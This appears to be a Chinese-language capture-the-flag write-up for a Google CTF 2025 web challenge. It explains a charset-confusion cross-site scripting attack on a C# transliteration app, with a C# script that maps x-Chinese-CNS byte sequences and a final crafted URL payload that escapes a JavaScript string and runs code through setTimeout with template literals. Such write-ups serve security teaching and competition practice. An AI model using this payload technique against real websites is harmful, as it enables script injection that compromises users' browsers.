Googlectf2025-lost-in-transliteration-writeup
题目分析
这是一个c#web,实现了一个希腊语到拉丁语的音译器,问题出在处理静态文件时(实际上是硬编码在变量中的)contentType可以被用户控制。


我们关注到script.js

当把它处理成html时,刚好能凑出一对<script>而其中的TEMPLATE_QUERY_JS可控


但是传入的参数q中的字符如果不是这三种则会被unicode编码,单引号等符号都会被编码

其实ContentType还可以控制字符集ct=text/html;charset=X-Chinese-CNS就能造成字符集混淆。其实就是csharp支持该编码,而chrome不支持,导致csharp按照X-Chinese-CNS编码OtherLetter中的字符后,chrome依然用默认方式解码,导致把多字节字符的字节拆开解析,逃逸出单引号。
要本地模拟的话就是把字符用X-Chinese-CNS编码,utf-8解码,但是一般语言对这个字符集的支持都很差。
获取编码表
这个编码表比较难获取,我们直接用docker中的环境来运行c#爆破获取
using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
using System.Globalization;
class EncodingTableGenerator
{
static void Main()
{
// 注册代码页编码提供者,支持更多编码
Encoding.RegisterProvider(CodePagesEncodingProvider.Instance);
// 可配置参数
string encodingName = "x-Chinese-CNS"; // 目标编码
string outputFilePath = $"encoding_table_{encodingName}_OtherLetter_SuccessOnly.txt";
try
{
// 获取目标编码,禁用替换回退(编码失败时抛出异常)
Encoding targetEncoding = Encoding.GetEncoding(
encodingName,
new EncoderExceptionFallback(),
new DecoderExceptionFallback()
);
Console.WriteLine($"正在生成 {encodingName} 编码的 Other Letter 成功编码映射表...");
using (StreamWriter writer = new StreamWriter(outputFilePath, false, Encoding.UTF8))
{
writer.WriteLine($"Other Letter 成功编码映射表 - {encodingName}");
writer.WriteLine($"生成时间: {DateTime.Now}");
writer.WriteLine("========================================================");
writer.WriteLine("Unicode码点\t字符\t字符名称\t编码字节(Hex)");
writer.WriteLine("========================================================");
int totalChars = 0;
int successfullyEncodedChars = 0;
// 遍历所有Unicode字符 (U+0000 到 U+10FFFF)
for (int codePoint = 0; codePoint <= 0x10FFFF; codePoint++)
{
// 跳过代理区 (U+D800 - U+DFFF)
if (codePoint >= 0xD800 && codePoint <= 0xDFFF)
continue;
// 检查是否为 Other Letter (Lo) 类别
char c = (char)codePoint;
if (CharUnicodeInfo.GetUnicodeCategory(c) != UnicodeCategory.OtherLetter)
continue;
totalChars++;
try
{
// 转换为Unicode字符
string unicodeChar = char.ConvertFromUtf32(codePoint);
string charName = GetUnicodeCharName(unicodeChar);
// 尝试编码
byte[] encodedBytes = targetEncoding.GetBytes(unicodeChar);
string hexBytes = BitConverter.ToString(encodedBytes).Replace("-", "");
writer.WriteLine($"U+{codePoint:X4}\t{unicodeChar}\t{charName}\t{hexBytes}");
successfullyEncodedChars++;
// 每成功编码100个字符显示进度
if (successfullyEncodedChars % 100 == 0)
{
Console.WriteLine($"已成功编码: {successfullyEncodedChars}");
}
}
catch (EncoderFallbackException)
{
// 静默跳过无法编码的字符
}
catch (Exception ex)
{
Console.WriteLine($"处理 U+{codePoint:X4} 时出错: {ex.Message}");
}
}
writer.WriteLine("========================================================");
writer.WriteLine($"总计 Other Letter 字符数: {totalChars}");
writer.WriteLine($"成功编码字符数: {successfullyEncodedChars} ({successfullyEncodedChars * 100.0 / totalChars:F2}%)");
}
Console.WriteLine($"编码映射表已生成至: {outputFilePath}");
}
catch (ArgumentException ex)
{
Console.WriteLine($"错误: 不支持的编码名称 '{encodingName}'。异常: {ex.Message}");
}
catch (Exception ex)
{
Console.WriteLine($"发生未知错误: {ex.Message}");
}
}
// 获取Unicode字符名称
static string GetUnicodeCharName(string unicodeChar)
{
try
{
if (string.IsNullOrEmpty(unicodeChar))
return "空字符";
if (unicodeChar.Length == 1)
return Char.GetUnicodeCategory(unicodeChar[0]).ToString();
// 代理对处理
return "代理对字符";
}
catch
{
return "未知名称";
}
}
}构造payload
逃逸单引号
先搜索27逃逸出引号


闭合右边引号
右半个引号由于没办法

然后变成了这样佘%0aalert(1)%0a氶

三元表达式处理tag?
然后是tag?在前面不处理会报错,使用三元表达式
找个冒号
U+761D 瘝 OtherLetter D23A多出来的字符用两个??( Null 合并运算符 )来处理


艹这个字符不会被两种编码处理,最后成为?


冒号右边需要塞一个东西,没有引号塞不了字符串,我们直接塞全局变量或者函数


模板字符串执行代码
我们没办法构造出括号,但是js的一个特性模板字符串给了我们机会
https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Template_literals


而且它支持在``中使用unicode转义序列


但是模板字符串会被作为一个数组传入函数的第一个参数,所以这里只能用setTimeout执行代码(自动toString)
为此,我们先找出一个等于号,并且等于号前面的字符要作为合法变量名
U+56AD 嚭 OtherLetter E53D然后再找这个变量+`的字符,也就是E560
U+6AEB 櫫 OtherLetter E560为了方便(不用再定义变量)我们把刚才用来闭合右单引号的


也换成这个
模板字符串中为了注释掉0xE5使用了alert(1)//
最后的payload
发现不加var tag,第一句三元表达式tag未定义会报错
所以最后的pyload:
佘艹艹瘝window%0avar+tag%0avar+嚭setTimeout%0a櫫alert(1)//櫫%0a櫫
执行的js可以随意改
http://localhost:1337/file?filename=script.js&ct=text/html;charset=x-chinese-cns&q=%E4%BD%98%E8%89%B9%E8%89%B9%E7%98%9Dwindow%0avar+tag%0avar+%E5%9A%ADsetTimeout%0a%E6%AB%ABalert(1)//%E6%AB%AB%0a%E6%AB%AB